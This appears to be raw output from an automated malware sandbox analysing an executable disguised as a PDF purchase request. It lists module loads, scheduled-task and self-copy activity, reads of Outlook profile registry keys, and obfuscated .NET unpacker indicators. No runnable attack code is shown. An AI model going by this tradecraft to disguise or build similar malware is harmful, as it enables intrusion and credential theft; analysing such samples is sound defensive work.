Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains potential unpacker

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.8230000.4.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	.Net Code: xqy7MUoUWQ System.Reflection.Assembly.Load(byte[])
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4b62270.0.raw.unpack, L2.cs	.Net Code: System.Reflection.Assembly.Load(byte[])
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	.Net Code: xqy7MUoUWQ System.Reflection.Assembly.Load(byte[])
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4e11a00.1.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	.Net Code: xqy7MUoUWQ System.Reflection.Assembly.Load(byte[])

Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_03139F8C push edi; retf	0_2_03139F8D
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_09E8F718 push edx; ret	0_2_09E8F71B
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79D840 push eax; iretd	0_2_0A79D841
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79CF00 pushfd ; retf	0_2_0A79CF01
Source: C:\Users\user\Desktop\REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Code function: 0_2_0A79E620 push C000005Eh; ret	0_2_0A79E639
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F97AB5 pushfd ; iretd	10_2_00F97A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F97A85 pushfd ; iretd	10_2_00F97A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 10_2_00F90C6D push edi; retf	10_2_00F90C7A
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_00BC9F8C push edi; retf	11_2_00BC9F8D
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B8CEE0 pushfd ; retf	11_2_07B8CEE1
Source: C:\Users\user\AppData\Roaming\vmPeKTe.exe	Code function: 11_2_07B8D820 push eax; iretd	11_2_07B8D821
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B77A85 pushfd ; iretd	15_2_02B77A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B77AC5 pushfd ; iretd	15_2_02B77A8A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 15_2_02B70C6D push edi; retf	15_2_02B70C7A

Source: REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe	Static PE information: section name: .text entropy: 7.712111849426876
Source: vmPeKTe.exe.0.dr	Static PE information: section name: .text entropy: 7.712111849426876

Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, WY5FOp4WkFIIAQvMC2.cs	High entropy of concatenated method names: 'DRFsYtKBGd', 'Iivsde1W6i', 'b6YsPsphoe', 'RZ9sXSW0QV', 'p74s95HPex', 'rnwsqoYTRD', 'PbSsZpCpSn', 'QTusK4aNfF', 'SDVsVpS55E', 'uWwsmoIuEh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, de0thciNrhsqCDPdH7.cs	High entropy of concatenated method names: 'fSn0INZecy', 'ABx0cYIyai', 'Q9U0YXsuLq', 'CRT0dXOIXH', 'XIs0XFbTZN', 'vET09Vpb9Z', 'xAI0ZfEDX2', 'QyC0KP4aBm', 'uvx0m2IRyb', 'e200hqOALR'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, jP6hQDYWNYGmfnrDdp.cs	High entropy of concatenated method names: 'mnYEwTM2Kj', 'fE0EWludhs', 'PJDE6bWK5a', 'gxNEgPE43j', 'hJeEyo3Kop', 'CWe6ayOi5M', 'AaS6LfHaSH', 'YfD6eGntXP', 'iAt6xrT2Ht', 'iH864jpBYN'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, rRGkiiO0AW4v6qmLwf.cs	High entropy of concatenated method names: 'gpPF3jRXyK', 'xiqF6nUFFA', 'AZiFEuZ9dZ', 'IXTFg5ya3m', 'TGxFsBVkQQ', 'J5BFypE2yN', 'Next', 'Next', 'Next', 'NextBytes'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, Tvu1OdVgGQNNEEUex0.cs	High entropy of concatenated method names: 'yRfg8jUUFP', 'CdIgJDfpT7', 'BwvgMPJafh', 'JtLg2pmeQq', 'hUMgv8CLoR', 'JbCgDI0L02', 'RPCgtEx1w6', 'sItgImfa5Q', 'tL8gcbd9Rk', 'IQJgoQay6o'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, iDd0mAcfQWtuBBMRi6.cs	High entropy of concatenated method names: 'zhA32vy1Io', 'QSR3DtqW1H', 'hKU3IOBHXM', 'njp3cy02fN', 'RAh3A3dX2t', 'cGI3fyRPRt', 'QaR3UZ5hYr', 'Ojw3r1UZoi', 'YNo3s8ouGS', 'D0H3FWee0U'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, gMtVMrotEpDGrlPgLr.cs	High entropy of concatenated method names: 'peI6v1wY3h', 'zKu6tYvg9c', 'QGt3PJinNV', 'BTO3XW0o1U', 'Rcm39IFuM2', 'QXg3qyPlnY', 'Eg13Zay4I1', 'ai43KQOicq', 'uvw3VTK2cQ', 'ahw3mvoXty'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, CICuwYIYM9uBpgQHNv.cs	High entropy of concatenated method names: 'NLdWplfSBY', 'XU9WQilnyK', 'IxxWjvlmqW', 'nExWCliifw', 'No9WaOIOx0', 'IqOWLtoUYv', 'mqKWe5JHR3', 'U1DWxZJ43L', 'oOAW4jqJcX', 'GJcWOBIFtt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, FdGZLlzEeF8Lj3S1pa.cs	High entropy of concatenated method names: 'WqjFDEkLk4', 'kADFI4vEeO', 'QRhFc5bjrE', 'FlgFY2tOgx', 'FsBFdp6kDQ', 'R3XFXJpyZ3', 'YoBF93ejDW', 'n4iFnUZLsQ', 'GO0F8MSIZX', 'tN6FJEaoCY'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TjEiRpjmFreNGi1GQE.cs	High entropy of concatenated method names: 'ToString', 'dTRfhGrbAC', 'PE2fdqUD8g', 'FdAfPu3seD', 'k2IfXrc5Yt', 'VgMf9lli5e', 'zx6fqnbgC5', 'DNpfZRXkLY', 'PetfK1ekmX', 'NN9fVnlu1a'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, lit4EtWWNL89DT6iD4.cs	High entropy of concatenated method names: 'Dispose', 'f0KS4xwOq5', 'ND5GdTd3MB', 'Dv1HwnpKf2', 'vfSSOCbmOk', 'UU7Szq6DCj', 'ProcessDialogKey', 'EFeGTY5FOp', 'gkFGSIIAQv', 'zC2GGrRGki'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, NkWkKSGTXYT0MLabEL.cs	High entropy of concatenated method names: 'z7eMX5JHN', 'wo62P05Jg', 'vGmDBirRe', 'IxFtBNJZ3', 'FZBcdNDsB', 'Gv2o2pdu3', 'yyYe0Rf5KTSDBU3Yo2', 'rQbZOSpTxMmEtnxBcf', 'mTWrLWvdu', 'TGYFqFRhj'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, TAL8UFyQqTbGLmT9Io.cs	High entropy of concatenated method names: 'dg2bwPD70r', 'mrMbBJxi1C', 'DaabW5gb7s', 'dEbb3WUmK1', 'PGdb63wPWi', 'EMKbEjWIrZ', 'RfTbgcXM7Q', 'wIrbytXRps', 'zVsbNuUxKr', 'duwbHdtVWC'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, WHhp89Sb61Xw7XCjlZL.cs	High entropy of concatenated method names: 'MklkOsRHp2', 'PuMkzjnsoS', 'LDe5Tkjna6', 'dkleXHt2KcK8WiI2UxB', 'KrYaTHtXmlnVmQLUv5i', 'FS2XsDtPfopDFdEvV9Y', 'SIF7AqtF0w0UXdJhjOt'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, xRG7wVLQfFV1CGtGc8.cs	High entropy of concatenated method names: 'lD6UxSL2U7', 'MdiUO8T72S', 'F65rTsRtQj', 'WgurSfgs9I', 'YLQUhy4rqu', 'FTdURrglbq', 'lSgUiY5H4y', 'adBUpbavjl', 'LbUUQoBnJy', 'CRKUjJr5vo'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, nwj2Pb7n4CIxW3AyM7.cs	High entropy of concatenated method names: 'tgDSgICuwY', 'FM9SyuBpgQ', 'ofQSHWtuBB', 'zRiSl6WMtV', 'mPgSALrgP6', 'OQDSfWNYGm', 'cNgaPs7wwKQi8VsbTd', 'JMV4YVBHpemyg3npZF', 'QraSSthaV5', 'tfWSb1pYhA'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, jriDlbpWiYb4rMfku3.cs	High entropy of concatenated method names: 'h4GAmkscMP', 'YqDARE3gux', 'FtOApk59P9', 'wSTAQQNjM0', 'okjAd1Lcc3', 'u5JAPjHrto', 'LkTAXmrY6A', 'eL6A9t1gxQ', 'Fy3Aq2feL8', 'tGAAZJAJKh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, LBN5TXZhKBybyrCkrN.cs	High entropy of concatenated method names: 'SMNgBOhmcv', 'ohgg3x6hUu', 'roxgEnopak', 'mGXEOFQZIa', 'qJgEz3bxXh', 'aeVgT3gHYE', 'Pn6gST1YiA', 'sqmgGKB7d7', 'omSgbJ7Wab', 'es0g7CO0NJ'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, aAXtqtSTtvwGLspYoBZ.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'ybsFhUc9Cb', 'UriFR8w6xe', 'F6dFiQc45Y', 'rGTFpBnJmO', 'kV9FQNK5dp', 'xaRFjuOCF6', 'cdTFCeMH0C'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, mWTkQFSSRoiFTDy9vY7.cs	High entropy of concatenated method names: 'xwrFOCRMvF', 'W8KFzJd2PU', 'vO6kT0e2Vc', 'tdDkSDMvlE', 'Y5okGXQ6n4', 'Btgkb8fZ43', 'fEMk7cnKmU', 'g5ikwFmHe2', 'FcTkBTXdiS', 'dEakWjYUMV'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, s09vsjS7KUlEfIGgpxu.cs	High entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'Siw5suddu8', 'MYo5FPHROc', 'lER5k6w9eL', 'lXK55YZjZk', 'HiV5uRqKhY', 'RS751AneUg', 'uGV5nIX8On'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.a140000.5.raw.unpack, YqbkFNeqIB0KxwOq51.cs	High entropy of concatenated method names: 'JL4sAIWZhp', 'jdysUamwWJ', 'cnLssupJce', 'OK0skDUXEF', 'irgsuH28F0', 'eQbsn84gW6', 'Dispose', 'Uy9rBpMRMH', 'csXrWicEiX', 'eb6r3QYXX2'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, WY5FOp4WkFIIAQvMC2.cs	High entropy of concatenated method names: 'DRFsYtKBGd', 'Iivsde1W6i', 'b6YsPsphoe', 'RZ9sXSW0QV', 'p74s95HPex', 'rnwsqoYTRD', 'PbSsZpCpSn', 'QTusK4aNfF', 'SDVsVpS55E', 'uWwsmoIuEh'
Source: 0.2.REQUEST FOR HOPPER SCALE AND CONVEYOR MACHINE.pdf.exe.4d92be0.3.raw.unpack, de0thciNrhsqCDPdH7.cs	High entropy of concatenated method names: 'fSn0INZecy', 'ABx0cYIyai', 'Q9U0YXsuLq', 'CRT0dXOIXH', 'XIs0XFbTZN', 'vET09Vpb9Z', 'xAI0ZfEDX2', 'QyC0KP4aBm', 'uvx0m2IRyb', 'e200hqOALR'
